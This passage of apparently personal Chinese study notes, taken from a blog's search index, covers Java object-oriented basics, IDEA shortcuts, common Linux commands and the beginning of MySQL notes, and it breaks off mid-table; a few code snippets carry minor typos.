数据类型[长度]\n数组在计算机中的执行原理Java内存分配:\n\n方法区\n\n编译后的字节码文件先加载到这里\n\n栈\n\n方法运行时所进入的内存,变量也是在这里\n方法被调用的时候,是进入到==栈内存==中运行\n特点:先进后出\n\n堆\n\nnew出来的东西会在这块内存中开辟空间并产生地址\n\n本地方法栈\n寄存器\n\n图解\n\n多个变量指向同一个数组\n多个数组变量中存储的是同一个数组对象的地址\n多个变量修改的都是同一个数组对象中的数据\n如果某个数组变脸中存储的null代表这个数组变量没有指向对象,需要注意可以输出这个变量,但不能用这个数组变量去访问数据或者访问数组长度\n\n\n会报空指针异常:NullPointerException\n\nJava的参数传递机制都是值传递\n基本类型的参数传输存储的数据值\n引用类型的参数传输存储的地址值\n方法重载一个类中出现多个方法的名字相同,但是它们的形参列表是不同的,其它的都不管(如修饰符、返回值类型是否一样都无所谓)\n\n形参列表不同指:形参的个数、类型、顺序不同,不关心形参的名称\n\n在方法中单独使用return在无返回值的方法中使用\n作用:立即跳出并==结束当前方法的执行==\n面向对象编程\n一个代码文件中可以写多个class类,但只能用一个public修饰,且public修饰的类名必须成为代码文件名\n\nJava存在自动垃圾回收机制,会自动清除掉垃圾对象\n\n\nthis就是一个变量,可用在方法中,==拿到当前对象==\n\n相当于c++里的this,Python中的self\n\n主要用来解决对象的成员变量与方法内部变量的名称一样时导致的访问冲突问题\npublic class Student{ double score; public void printPass(double score){ //this.score指向的是对象的score,若不加this.,则两个score遵循就近原则都指向形参,两score恒等,判断为否 if(this.score>score){ System.out.println("恭喜"); }else{ System.out.println("很遗憾"); } }}\n\n构造器创建对象时同时完成对对象成员变量(属性)的初始化赋值\n\n类似C++的重构\n\npublic class Student{ public Student /** 不填返回值类型 */(){ }}\n\n\n类在设计时若不写构造器,Java会为类自动生成一个无参构造器\n一旦定义有参构造器,Java不会自动为类生成无参构造器,==此时建议自己手写一个无参构造器==\n\n封装==面向对象的三大特征:封装、继承、多态==\n合理暴露、合理隐藏\npublic class Student{ private double score; public void setScore(double score){ if(score>=0&&score<=100){ this.score=score; }else{ System.out.println("数据非法"); } } public double getScore(){ return score; }}\n\n实体类JavaBean\n一种特殊形式的类\n类中的成员变量都要私有,并且要对外提供相应的get、set方法\n类中必须有一个公共的无参的构造器\n\n\n\n实体类只负责数据存取,而对数据的处理交给其他类来完成,以实现数据和数据业务处理相分离\n常用API包\n同一个包下的类,互相可以直接调用\n调用其他包的程序,要先导包才可访问\n格式:import 包名.类名;\n\n\n调用Java的程序需先导包才可访问,但Java.lang包下的程序是不需要我们导包的,可直接使用\n调用多个不同包下的程序,而程序名正好一样,此时默认只能导入一个程序,另一个程序必须带包名访问\n\nString\n两种创建对象的方式\nString name="test"String name=new String("test");\n\nString s = "test";//获取字符串长度System.out.println(s.length());//提取字符串某个索引位置处的字符char c=s.charAt(1);//把字符串转换成字符数组,再进行遍历char[] chars=s.toCharArry();//判断字符串内容,内容一样返回trueString s1=new String("te");String s2=new String("te");System.out.println(s1.equals(s2));System.out.println(s1==s2);//直接==比较会返回false,因为这是在比较地址//忽略大小写来比较字符串内容String s1=new String("tE");String s2=new String("Te");System.out.println(s1.equalsIgnoreCase(s2));//截取字符串内容(包前不包后)String s3="这是一段字符串";s3.substring(0,6) //把字符串中的某个内容替换成新内容,并返回新的字符串对象//比如替换敏感词String info="这是一段脏话";String s4=info.replace("脏话","**");//判断字符串中是否包含某个关键字(精准匹配)String info2="这是一段脏话";info2.contains("脏话");//判断字符串是否以某个字符串开头String info3="这是一段话";System.out.println(info3.startsWith("这"));//输出true//把字符串按照某个指定内容分割成多个字符串,放到一个字符串数组中返回给我们String s5="张三,李四,王五,老六";String[] names=s5.split(",");\n\n注意事项\nString对象的内容不可改变,被称为不可变字符串对象\n\n只要是以”…”方式写出的字符串对象,会存储到字符串常量池,且相同内容的字符串只存储一份\n\n但通过new方式创建字符串对象,每new一次都会产生一个新的对象放在堆内存中\n\n\n\n\nString s2=new String("abc");String s1="abc";Q1:前两行一行代码创建了几个对象?\n\nA1:==第一行创建了两个==。双引号中的abc会储存在常量池中,即常量池产生一个对象;new的时候又要产生一个字符串对象(放在堆中)。\n==第二行创建了零个==。常量池中已经有了abc,则s1直接指向abc。\nString s1="abc";String s2="ab";Srting s3=s2+"c";System.out.println(s1==s3);Q2:输出结果?\n\nA2:false。s1指向常量区,而s3是运算,会放在堆中。\nString s1="abc";String s2="a"+"b"+"c";System.out.println(s1==s2);Q3:输出结果?\n\nA3:true。==Java存在编译优化机制,程序在编译时”a”+”b”+”c”会直接转成”abc”以提高程序执行性能。==\nArrayList集合是一种容器,用来装数据,类似于数组,==大小可变==\n集合都支持泛型:”ArrayList<E>“,约束集合在编译阶段只能操作某种数据类型(包括对象)\n集合和泛型都不支持基本数据类型,只能支持引用数据类型\n\n\n\n\nstatic\n修饰成员变量成员变量按照有无static修饰,分为两种:\n\n类变量:有static修饰,属于类,在计算机里只有一份,==会被类的全部对象共享==\n实例变量(对象变量):无static修饰,==属于每个对象==\n\npublic class Student{ static String name;//类变量 int age;//实例变量(对象的变量)}\n\n类名.类变量(推荐)对象.类变量(不推荐)---对象.实例变量\n\n修饰成员方法\n类方法:有static修饰的成员方法,属于类\n实例方法:无static修饰的成员方法,属于对象\n\n\n为什么工具类中方法要用类方法而不用实例方法?\n\n实例方法需要创建对象来调用,此时对象只是为了调用方法,对象占内存,会浪费内存\n类方法直接用类名调用即可,调用方便,也能节省内存\n\n\n\n工具类无创建对象的需求,建议将工具类的构造器进行私有\npublic class Mytools{ private Mytools(){} public static String toolone(){ ... }}\n\n\n注意事项public class Mytools{ static String schoolName;//类变量 double score;//实例变量 1.类方法中可以直接访问类成员,不可直接访问实例成员 public static void printHorld(){ //同一个类中,访问类成员,可以省略类名不写 schoolName="张三"; Student.printHelloWorld2();//可以 printHelloWorld2();//可以 System.out.println(score);//报错 printPass();//报错 System.out.println(this);//报错 } public static void printHelloWorld2(){}//类方法 2.实例方法中既可以直接访问类成员,也可以直接访问实例成员 3.实例方法中可以出现this关键字,类方法中不可出现this关键字 public void printPass(){//实例方法 schoolName="李四"; printHelloWorld2();//可 System.out.println(score);//可 (this.)printPass2();//可 System.out.println(this);//可 } public void printPass2(){}\n\n代码块\n类的五大成分(成员变量、构造器、方法、代码块、内部类)\n\n\n静态代码块\n\n格式:static{}\n特点:类加载时自动执行,由于类只会加载一次,所以静态代码块也只执行一次\n作用:完成类的初始化,例如:对类变量的初始化赋值\n\n实例代码块\n\n格式:{}\n特点:每次创建对象时,执行实例代码块,并在构造器前执行。\n作用:和构造器一样,都是用来完成对象的初始化的,例如:对实例变量进行初始化赋值\npublic class Student{ static int number=80; static String schoolName="张三"; static{ System.out.println("静态代码块执行了"); }//静态代码块 { System.out.println("实例代码块执行了"); }//实例代码块}public class Test{ public static void main(String[] args){ System.out.println(Student.number); /** 静态代码块执行了 80 */ Student s1=new Student(); /** 实例代码块执行了 无参数构造器执行了 */ Student s1=new Student("李四"); /** 实例代码块执行了 有参数构造器执行了 */ } public Student{ System.out.println("无参构造器执行了"); } public Student(String name){ System.out.println("有参构造器执行了"); }}\n\n应用:比如创建对象的日志(不放到构造器而是代码块中执行,减少重复代码编写)\nSystem.out.println("有人创建了对象:"+this);\n\n单例设计模式设计模式:具体问题的最优解法\n\n解决什么问题?\n怎么写?\n\n\n确保一个类只有一个对象\n==饿汉式单例对象==\n写法\n\n把类的构造器私有\n定义一个类变量记住类的一个对象\n定义一个类方法,返回对象\n\npublic class A{ private static A a=mew A();//2 private A(){//1 } public static A getObject(){//3 return a; }}\n\n==懒汉式单例对象==\n写法\n\n把类的构造器私有\n定义一个类变量用于存储对象\n提供一个类方法,保证返回的是同一个对象\n\npublic class B{ private static B b;//2 private B(){//1 } public static B getInstance(){//3 if(b==null){ b=new B(); } return b; }}\n\n如果单例对象频繁用到——饿汉式\n很少去用它——懒汉式(节省内存)\n继承关键字——extends\npublic class B extend A{}A:父类(基类或超类)B:子类(派生类)\n\n特点:子类可继承父类的非私有成员(成员变量、成员方法)\n继承后对象的创建:子类的对象是由子类、父类共同完成的\n权限修饰符限制类中的成员(成员变量、成员方法、构造器、代码块…)能够访问的范围\n\n\n\n修饰符\n在本类中\n同一个包下的其他类\n任意包下的子类\n任意包下的任意类\n\n\n\nprivate\n√\n\n\n\n\n\n缺省\n√\n√\n\n\n\n\nprotected\n√\n√\n√\n\n\n\npublic\n√\n√\n√\n√\n\n\nprivate<缺省<protected<public\n单继承、ObjectJava中的类不支持多继承,但是支持多层继承\nObject类是Java所有类的祖宗类\n方法重写==声明不变,重新实现==\n\n子类觉得父类中某个方法不好用,或无法满足自己的需求时,==子类可以重写一个方法名称、参数列表一样的方法==,去覆盖父类的这个方法\n重写后,Java遵循就近原则进行方法的访问\n参数列表相同叫重写,不同叫重载\n注意:\n\n重写小技巧:使用==Override注解==,它可以指定Java编译器,检查我们方法重写的格式是否正确,代码可读性会更好\n@Override \n\n子类重写父类方法时,访问权限必须大于或者等于父类该方法的权限==(public>protected>缺省)==\n\n重写的方法返回值类型必须与被重写方法的返回值类型一样,或者范围更小\n\n私有方法、静态方法不能被重写\n\n\n常见应用场景\n\n子类重写Object类的toString()方法,以便返回对象的内容\n\npublic String toString(){ return "Student{name="+name+",age="+age+"}";}//Object类中返回的是地址,重写后可按需返回相应内容\n\n直接Generate亦可生成\n子类中访问其他成员的特点依照==就近原则==\n局部变量与成员变量冲突时,可在前加this\npublic class F{ String name="父类名称"; public void print1(){ System.out.println("父类的print1方法执行"); }}\n\npublic class Z extends F{ String name="子类名称"; public void showName(){ String name="局部名称"; System.out.println(name);//局部名称 System.out.println(this.name);//子类的成员变量 System.out.println(super.name);//父类的成员变量 } @Override public void print1(){ System.out.println("子类的print1执行"); } public void showMethod(){ print1();//子类的 super.print1();//父类的 }}\n\n子类构造器的特点子类的全部构造器,都会先调用父类的构造器,再执行自己\n\n在子类的全部构造器的第一行,都会有super();\n写不写都默认存在,它是调用父类的无参构造器的\n\n若父类只有有参构造器,则我们必须在子类构造器第一行手写super(…),指定去调用父类的有参构造器↓\nclass F{ public F(String name,int age){}}\n\nclass Z extends F{ public Z(){ super("张三",18); System.out.println("子类的无参构造器执行"); } 有参构造器同理}\n\nthis(…)调用兄弟构造器任意类的构造器中,都可以通过this(…)去调用该类的其他构造器\npublic class Test3{ public static void main(String[] args){ Student s1=new Student("李四",26,"家里蹲大学"); //若学生没有填写学校,那么学校默认是NUC Student s2=new Student("李四",28); }}class Student{ private String name; private int age; private String schoolName; public Student(String name,int age){ this(name,age,"NUC"); } public Student(String name,int age){ this.name=name; this.age=age; this.schoolName=schoolName; } 后面的getset方法省略}\n\n多态在继承/实现情况下的一种现象,表现为:对象多态、行为多态\n前提:有继承/实现关系;存在父类引用子类对象;存在方法重写\n多态是对象、行为的多态,Java中的属性(成员变量)不谈多态\n好处\n\n在多态形式下,右边对象时解耦合的,更便于拓展和维护\n\n\n解耦合:比如系统中的每一个模块拆分成一个个的服务\n\n\n定义方法时使用父类类型的形参,可以接收一切子类对象,拓展性更强、更便利\n\n问题\n\n多态下不能使用子类的独有功能\n\n多态下的类型转换问题\n自动类型转换:父类 变量名=new 子类();\nPeople p =new Teacher();\n\n强制类型转换:子类 变量名=(子类)父类变量\nTeacher t=(Teacher)p;\n\n注意事项\n\n存在继承/实现关系就可以在编译阶段进行强制类型转换,编译阶段不会报错\n\n运行时如果发现对象的真实类型与强转后的类型不同。就会报类型转换异常(ClassCastException)的错误\nPeople p=new Teacher();Student s=(Student) p;//ClassCastException\n\n强转前,Java建议:使用==instanceof==关键字,判断当前对象的真实类型,再进行强转\nif(p instanceof Student){ Student s2=(Student)p;}\n\nfinal意思是最终,可以修饰(类、方法、变量)\n\n修饰类:该类被称为最终类,特点是不能被继承了\n\n修饰方法:该方法被称为最终方法,特点是不能被重写了\n\n修饰变量:该变量只能被赋值一次\n\n\nfinal class A{}//类public final void test(){}//方法\n\nfinal修饰变量的注意\n\nfinal修饰基本类型的变量,变量存储的==数据==不能被改变\n\nfinal修饰引用类型的变量,变量存储的==地址==不能被改变,但地址所指向对象的内容是可以被改变的\nfinal int[] arr={1,2,3}arr=null;//错,变量地址不能动arr[1]=222;//可\n\n常量使用了static final修饰的成员变量\n作用:通用用于记录系统的配置信息\n名称全部大写,多个单词下划线连接\npublic static final String SCHOOL_NAME="NUC";\n\n好处\n\n代码可读性更好,可维护性也更好\n程序编译后,常量会被“宏替换”:出现常量的地方全部会被替换成其记住的字面量,可保证使用常量和直接用字面量的性能是一样的\n\n抽象类关键字:abstract,可用它修饰类、成员方法\n抽象方法只有方法签名,不能有方法体\n注意事项&特点\n\n抽象类中不一定有抽象方法,有抽象方法的类一定是抽象类\n类该有的成员(成员变量、方法、构造器)抽象类都可以有\n==最主要的特点:==抽象类不能创建对象,仅作为一种特殊的父类,让子类继承并实现\n一个类继承抽象类,必须重写完抽象类的全部抽象方法,否则这个类也必须定义成抽象类\n\n好处\n父类知道每个子类都要做某个行为,但每个子类要做的情况不一样,父类就定义成抽象方法,交给子类去重写实现,==更好的支持多态==\n常见应用场景:模板方法设计模式解决方法中存在重复代码的问题\n写法\n\n定义一个抽象类\n\n在里面定义两个方法\n\n一个是模板方法:把相同代码放里面\n一个是抽象方法:具体实现交给子类完成\n\n\n\n建议用final关键字修饰模板方法\n\n模板方法是给对象直接使用的,不能被子类重写\n一旦子类重写了模板方法,模板方法就失效了\n\n接口关键字:interface\npublic interface 接口名{ 成员变量(Java默认是常量)(记得大写) 成员方法(Java默认是抽象方法)}\n\n接口中不能有构造器、代码块,不能创建对象\n接口是用来被类实现(implements)的,实现接口的类成为实现类\n修饰符 class 实现类 implements 接口1,接口2...{}\n\n一个类可以实现多个接口(接口可以理解为干爹),实现类实现多个接口,必须重写完全部接口的全部抽象方法,否则实现类需要定义成抽象类\n好处\n\n弥补类单继承的不足,一个类同时可以实现多个接口\n让程序可以面向接口编程,可以灵活方便切换各种业务实现\n\njdk8开始新增的方法\n默认方法:必须使用default修饰,默认会被public修饰\n(也就是实例方法:对象的方法,必须使用实现类的对象来访问\npublic interface A{\tdefault void test1(){ \tSystem.out.println("==默认方法==");\t}}---psvm) B b=newB();\tb.test1();\n\n私有方法:必须使用private修饰(JDK9开始\n因为是私有方法,所以只能在接口内访问(比如在默认方法中访问、或者接口中的其他私有方法)\npublic interface A{ private void test1(){ System.out.println("==私有方法=="); }}\n\n静态方法:必须使用static修饰\npublic interface A{\tstatic void test3(){ \tSystem.out.println("==静态方法==");\t}}A.test3();\n\n杂项IDEA管理Java程序的结构\nproject(项目、工程)\nmodule(模块)\npackage(包)\nclass(类)\n\n\n\n创建工程(空工程)\n创建模块\n创建包 src-新建包(域名倒写+名字)\n创建类 包-新建类(类名首字母大写)\n\n快捷键\nmain/psvm、sout\n\nCtrl+D:复制当前行数据到下一行\n\nCtrl+Y:快速删除所在行\n\nCtrl+Alt+L:格式化代码\n\nAlt+shift+↑/↓:上下移动当前代码\n\nCtrl+/,Ctrl+shift+/:代码注释\n\n\n\n/** */:文档注释\n\n\nAlt+Enter\n\n选中代码,然后Ctrl+Alt+T,快速以…包裹\n\n\n数组名.fori然后回车快速遍历数组\n右键-Generate-\n“Getter and Setter”快速生成get、set方法(shift再点击变量可多选)\n“Constructor”自动生成构造器\n\n\n\nString、StringBuffer与StringBuilder三者之间的区别?String、StringBuffer和StringBuilder是Java中用于处理字符串的类,它们之间有一些重要的区别。\n\n不可变性:\nString类是不可变的,一旦创建,它的值就不能被修改。每次对String进行操作(如拼接、替换等),都会创建一个新的String对象。这意味着在频繁操作字符串时,会引发大量的对象创建和销毁,影响性能。\nStringBuffer和StringBuilder是可变的,它们允许修改已有的字符串而不创建新的对象。在字符串频繁修改的场景中,它们的性能更好。\n\n\n线程安全性:\nString是线程安全的,因为它的不可变性保证了多线程环境下的安全性。\nStringBuffer是线程安全的,它的方法都使用了synchronized关键字进行同步。这使得它可以被多个线程安全地使用,但在高并发环境下性能相对较低。\nStringBuilder是非线程安全的,它的方法没有进行同步操作。在单线程环境下,StringBuilder的性能比StringBuffer更好。\n\n\n性能:\n由于String的不可变性,每次对String进行操作都会产生新的String对象,导致额外的内存开销。在频繁操作字符串的情况下,性能较差。\nStringBuffer和StringBuilder都是可变的,它们在进行字符串操作时不会创建新的对象,因此在频繁操作字符串时性能更好。\nStringBuilder相对于StringBuffer的性能更好,因为它不需要进行同步操作。\n\n\n\n综上所述,如果你需要一个可变的字符串,并且在单线程环境下进行操作,建议使用StringBuilder,因为它的性能最好。如果在多线程环境下进行操作,或者需要线程安全性,可以使用StringBuffer。只有在操作字符串不频繁的情况下,才建议使用String。\n成员变量和局部变量的区别?Field:成员变量\n\n\n\n区别\n成员变量\n局部变量\n\n\n\n类中位置\n类中,方法外\n常见于方法中\n\n\n初始化值\n有默认值,无需初始化赋值\n无默认值,使用前必须赋值\n\n\n==内存位置==\n堆内存\n栈内存\n\n\n作用域\n整个对象\n所属的大括号中\n\n\n生命周期\n与对象共存亡\n随方法的调用而生,随方法的运行结束而亡\n\n\n\n动态数组中的对象值是初始化的\n\n搞懂main方法public class Test{ public static void main(String[] args){ ... }}\n\nmain方法是类方法\n运行时Test.main(…)\n","tags":["技术栈"]},{"title":"Linux","url":"/2024/04/14/Linux/","content":"Linux文章:http://dwz.date/UDf\n\nLinux目录划分\n\n/bin:binary缩写,此目录存放着最经常使用的命令\n/boot:存放启动Linux时使用的一些核心文件,包括一些连接文件以及镜像文件\n/dev:device的缩写,存放Linux的外部设备,在Linux中访问设备的方式和访问文件的方式是相同的\n==/etc:存放所有的系统管理所需要的配置文件和子目录==\n==/home:用户主目录,Linux中每个用户都有一个自己的目录,一般以用户的账号命名==\n/lib:存放系统最基本的动态连接共享库,作用类似于Windows里的dll文件\n/lost+found:一般情况为空,当系统非法关机后这里就存放了一些文件\n/media:Linux系统会自动识别一些设备,例如U盘、光驱等等,当识别后Linux会把识别的设备挂载到这个目录下\n/mnt:系统提供该目录是为了让用户临时挂载别的文件系统的,我们可将光驱挂载在/mnt/上,然后进入该目录就可以看到光驱里的内容了\n==/opt:给主机额外安装软件所摆放的目录。安装一个Oracle数据库就可以放到这个目录下,默认为空==\n/proc:虚拟目录,是系统内存的映射,可通过直接访问这个目录获取系统信息\n/root:为系统管理员,也称作超级权限者的用户主目录\n/sbin:s是super user的意思,这里存放的是系统管理员使用的系统管理程序\n/srv:存放一些服务启动之后需要提取的数据\n/sys:这是Linux2.6内核的一个很大的变化,该目录下安装了2.6内核中新出现的一个文件系统sysfs\n/tmp:存放一些临时文件\n==/usr:非常重要的目录,用户的很多应用程序和文件都放在这个目录下,类似于Windows下的program files目录==\n/usr/bin:系统用户使用的应用程序\n/usr/sbin:超级用户使用的比较高级的管理程序和系统守护程序\n/usr/src:内核源代码默认的放置目录\n/var:存放着在不断扩充着的东西,我们习惯讲那些经常被修改的目录放在这个目录下。包括各种日志文件\n/run:一个临时文件系统,存储系统启动以来的信息,当系统重启时,这个目录下的文件应该被删掉或清除\n==/www:存放服务器网站相关的资源、环境、网站的项目==\n\n文件属性基本属性\n第0位确定文件类型:\n\n[ d ]:目录\n[ - ]:文件\n[ l ]:链接文档(link file)\n[ b ]:装置文件里面的可供储存的接口设备(可随机存取装置)\n[ c ]:装置文件里面的串行端口设备,例如键盘、鼠标(一次性读取装置)\n\n后为相关权限:\n[ r ]:可读(read)、[ w ]:可写(write)、[ x ]:可执行(execute);若无权限则会出现[ - ]\ndr-xr-xr-x. 5 root root 4096 5月 16 18:15 boot\n\n\n数字为文件个数\n第一个root为属主\n第二个root为属组\n\n修改属性\nchgrp:更改文件属组\n\nchgrp -R 属主名 文件名\n\n\nchown:更改文件属主,也可同时更改文件属组\n\nchown -R 属主名 文件名chown -R 属主名:属组名 文件名\n\n\nchmod:更改文件九个属性\n\nchmod 数字 文件或目录名\n\n\n数字代表权限\nr:4\tw:2\tx:1\n\n常用基本命令\nsudo su:切换到管理员\n\ncd:切换目录\n\n~:切换到home目录\n-:切换到上次访问的目录\n\n\nls:列出目录\n\n-a:全部的文件,连同隐藏文件( 开头为 . 的文件) 一起列出来\n-l :长数据串列出,包含文件的属性与权限等等数据;\n\n\npwd:显示目前所在的目录\nPrint Working Directory 的缩写,也就是显示目前所在目录的命令\n\n-p:显示出确实的路径,而非连接(link)路径\n\n\nmkdir:创建新目录\n\n-m:配置文件的权限喔!直接配置,不需要看默认权限 (umask) 的脸色\n-p :帮助你直接将所需要的目录(包含上一级目录)递归创建起来!\n\n\nrmdir:删除空的目录\n\n-p:连同上一级空的目录也一起删除\n\n\ncp:复制文件或目录\ncp 原来的地方 新的地方\n\n-a:相当于-pdr\n\n-p:连同文件的属性一起复制过去,而非使用默认属性(备份常用)\n\n-d:若来源裆为连结档的属性(link file),则复制连结档属性而非文件本身\n\n-r:递归持续复制,用于目录的复制行为\n\n-f:强制的意思,若目标文件已存在且无法开启,则移除后再尝试一次\n\n-i:若目标档(destination)已存在时,在覆盖时会先询问动作的进行\n\n-l:进行硬式连结(hard link)的连结档创建,而非复制文件本身\n\n-s:复制成为符号连结档(symbolic link),亦即捷径文件\n\n-u:若destination比source旧才升级destination\n\n\n\nrm:移除文件或目录\n\n-f:忽略不存在的文件,不会出现警告,强制删除\n-r:递归删除目录\n-i:互动模式,删除前询问是否删除\n\n\nmv:移动文件与目录,或修改名称\n\n-f :force 强制的意思,如果目标文件已经存在,不会询问而直接覆盖\n-i :若目标文件(destination)已经存在时,就会询问是否覆盖\n-u :若目标文件已经存在,且source比较新,才会升级(update)\n\n\n\n# 开启防火墙端口firewall-cmd --zone=public --add-port=9000/tcp --permanent# 重启防火墙systemctl restart firewalld.service# 查看所有开启的端口(若为阿里云还需配置安全组规则)firewall-cmd --list-ports\n\n\nfirewall-cmd:防火墙相关\n\n–zone:作用域\n–add-port=80/tcp:添加端口,格式为:端口/通讯协议\n–permanent:永久生效,无此参数重启后失效\n\n\nnetstat -an:查看当前系统端口\n\nnetstat -an|grep :指定端口(搜索指定端口)\n\nsu - 用户名:切换用户\n\nman:列出完整的命令语法、各选项意义及相关命令\n\n-w:输出手册物理位置\n\n编号规则\nman 1 ls\n\n\n普通命令为1\n函数为2\n库文件为3\n设备为4\n配置文件为5\n游戏为6\n宏文件为7\n系统命令为8\n内核程序为9\nTK指令为10\n\n\n\n\ntee:读取标准输入的数据,并将其内容输出成文件\n\n-a:附加到既有文件的后面而非覆盖它\n-i:忽略中断信号\n\n\n\n文件内容查看\ncat:正序显示文件内容\n\n-A:相当于-vET的整合选项,可列出一些特殊字符而不是空白\n\n-b:列出行号,仅针对非空白行做行号显示,空白行不标行号\n\n-E:将结尾的断行字节$显示出来\n\n-n:列印出行号,连同空白行也会有行号,与-b的选项不同\n\n-T:将[tab]按键以^I显示出来\n\n-v:列出一些看不出来的特殊字符\n\n\n\ntac:倒序显示文件内容\n\nnl:显示行号\n\n-b:指定行号指定的方式,主要有两种:\n-b a:表示不论是否为空行,也同样列出行号(类似cat -n)\n-b t:如果有空行,空的那一行不要列出行号(默认值)\n\n\n-n:列出行号表示的方法,主要有三种:\n-n ln:行号在荧幕的最左方显示\n-n rn:行号在自己栏位的最右方显示,且不加0\n-n rz:行号在自己栏位的最右方显示,且加0\n\n\n-w:行号栏位的占用的位数\n\n\nmore:一页一页翻动\n有以下按键:\n\n空格:向下翻一页\nenter:向下翻一行\n/字符串:向下搜寻『字符串』这个关键字\n:f:立刻显示出档名以及目前显示的行数\nq:立刻离开more,不再显示该文件内容\nb或Ctrl b:代表往回翻页,不过这动作只对文件有用,对管线无用\n\n\nless\n基本同上,多向上的功能\n\n?字符串:向上搜寻『字符串』这个关键字\nn:重复前一个搜寻(与/或?有关)\nN:反向的重复前一个搜寻(与/或?有关)\n\n\nhead:取文件前几行\n\n\nhead -n 数字 文件\n\n-n后的数字代表显示几行,默认10行\n\ntail:取文件后几行\n\n同上\n查找命令\ngrep\n\nps -ef | grep sshd #查找指定ssh服务进程ps -ef | grep sshd | grep -v grep #查找指定服务进程,排除gerp本身ps -ef | grep sshd -c #查找指定进程个数\n\n\nfind\n\nfind命令在目录结构中搜索文件,并对搜索结果执行指定的操作。 find 默认搜索当前目录及其子目录,并且不过滤任何结果(也就是返回所有文件),将它们全都显示在屏幕上。\nfind . -name "*.log" -ls #在当前目录查找以.log结尾的文件,并显示详细信息。find /root/ -perm 600 #查找/root/目录下权限为600的文件find . -type f -name "*.log" #查找当目录,以.log结尾的普通文件find . -type d | sort #查找当前所有目录并排序find . -size +100M #查找当前目录大于100M的文件\n\n\nlocate\n\nlocate 让使用者可以很快速的搜寻某个路径。默认每天自动更新一次,所以使用locate 命令查不到最新变动过的文件。为了避免这种情况,我们在使用locate查找文件之前可以先使用updatedb命令,手动更新数据库。\nupdatedblocate /etc/sh #搜索etc目录下所有以sh开头的文件locate pwd #查找和pwd相关的所有文件\n\n\nwhereis\n\nwhereis命令是定位可执行文件、源代码文件、帮助文件在文件系统中的位置。这些文件的属性应属于原始代码,二进制文件,或是帮助文件。\nwhereis ls #将和ls文件相关的文件都查找出来\n\n\nwhich\n\nwhich命令的作用是在PATH变量指定的路径中,搜索某个系统命令的位置,并且返回第一个搜索结果。\nwhich pwd #查找pwd命令所在路径which java #查找path中java的路径\n\n链接\n硬链接\n\nA–B,假设B是A的硬链接,那么他们两个指向了同一个文件,允许一个文件拥有多个路径,用户可通过这种机制建立硬链接到一些重要文件上,防止误删\n\n软链接\n\n类似Windows下的快捷方式,删除源文件则快捷方式也无法访问\n\n硬链接相当于镜像,软链接相当于快捷方式\n\ntouch命令创建文件\necho输入字符串\necho "内容" >>file1\n\n创建链接 ln命令\nln 原文件名 新文件名\n\n\n-s:创建一个软链接(符号链接)\n\nvim\n\nfilename存在则打开,不存在则新建\n==会出现路径不一致的问题!==\n\n\n命令模式(Command mode)\n用户刚刚启动 vi/vim,便进入了命令模式\n常用命令:\n\ni:切换到输入模式且在光标所在字符前开始插入\na:切换到输入模式且在光标所在字符后开始插入\no:切换到输入模式且在光标所在行的下面另起一新行插入\nx 删除当前光标所在处的字符\n: 切换到底线命令模式以在最底一行输入命令\n\n命令模式只有一些最基本的命令,因此仍要依靠底线命令模式输入更多命令\n\n输入模式(Insert mode)\n在命令模式下按下i就进入了输入模式\n\n字符按键以及Shift组合:输入字符\nENTER:回车键,换行\nBACK SPACE:退格键,删除光标前一个字符\nDEL:删除键,删除光标后一个字符\nh(←)j(↓)k(↑)l(→):在文本中移动光标\nw:往后移动一个单词\nb:往前移动一个单词\ne:移动到单词末尾\n0:移动到行首\n$:移动到行末\n^:移动到行首第一个非空字符\nCtrl+u:向上翻页\nCtrl+d:向下翻页\nG:跳转到末尾行\ngg:跳转到首行\nL:移到屏幕最下端一行\nM:移到屏幕中间\nH:移到屏幕首行\nf[目标字符]:转到光标后的第一个目标字符(F是往前)\n\n\nn:敲数字然后回车,光标往后移动n行\nHOME/END:移动光标到行首/行尾\nPage Up/Page Down:上/下翻页\nInsert:切换光标为输入/替换模式,光标将变成竖线/下划线\nESC:退出输入模式,切换到命令模式\n\n\n底线命令模式(Last line mode)\n在命令模式下按下:(英文冒号)就进入了底线命令模式\n基本命令(已省略冒号)\n\nw 保存文件\nq 退出程序\n\n按ESC键可随时退出底线命令模式\n\n\n常用命令\n\n\n\n命令\n含义\n\n\n\n:set nu\n设置行号\n\n\n:wq\n储存后离开(若为:wq!则为强制储存后离开)\n\n\nu\n复原前一个动作\n\n\n数字<space>\n光标向右移动这一行的 n 个字符\n\n\n数字<enter>\n光标向下移动n行\n\n\n/word\n向光标之下寻找一个名称为 word 的字符串\n\n\nn\n重复前一个搜寻的动作\n\n\nN\n与 n 刚好相反,为『反向』进行前一个搜寻动作\n\n\n其他vim按键\n","tags":["技术栈"]},{"title":"MySQL","url":"/2024/04/14/MySQL/","content":"MySQL狂神说MySQL\n\n小tips为了网站和数据库的安全性,MySQL内置有root最高用户,划分等级,每个用户对应管理一个数据库,这样保证互不关联,从而不会影响到其他数据库的运行\n–表示注释;/**/为多行注释\n所有语句使用分号;结尾\n如果表名或者字段名是一个特殊字符。就需要带`\n基本的数据库操作命令net start mysql:启动MySQL服务\nnet stop mysql:关闭MySQL服务\nmysql -u root -p:登录MySQL(记得以管理员运行cmd)\nshow database;:查看所有的数据库\n\n所有的语句都使用;结尾,切换数据库时不需要\n\nuse 数据库名:切换数据库\nshow tables;:查看数据库中所有的表\ndescribe 表名;:显示数据库中所有的表的信息\ncreate database 数据库名:创建一个数据库\nexit:退出连接(Ctrl+C强制退出)\n操作数据库结构化查询语句分类\n\n\n名称\n说明\n命令\n\n\n\nDDL(数据定义语言)\n定义和管理数据对象,如数据库、数据表等\nCREATE、DROP、ALTER\n\n\nDML(数据操作语言)\n用于操作数据库对象中所包含的数据\nINSERT、UPDATE、DELETE\n\n\nDQL(数据查询语言)\n用于查询数据库的数据\nSELECT\n\n\nDCL(数据控制语言)\n用于管理数据库的语言,包括管理权限及数据更改\nGRANT、commit、rollback\n\n\n基本操作\n创建数据库\n\nCREATE DATABASE 数据库名\n\n\n删除数据库\n\nDROP DATABASE 数据库名\n\n\n使用数据库\n\nUSE `school`\n\n\n查看数据库\n\nSHOW DATABASES\n\n数据库类型\n数值\n\n\n\n\n类型\n说明\n取值范围\n存储需求/字节\n\n\n\ntinyint\n非常小的数据\n有符值:-2^7^ ~2^7^-1无符号值:0~2^8^-1\n1\n\n\nsmallint\n较小的数据\n有符值:-2^15^ ~2^15^-1无符号值:0~2^16^-1\n2\n\n\nmediumint\n中等大小的数据\n有符值:-2^23^ ~2^23^-1无符号值:0~2^24^-1\n3\n\n\n==int==\n标准的整数\n有符值:-2^31^ 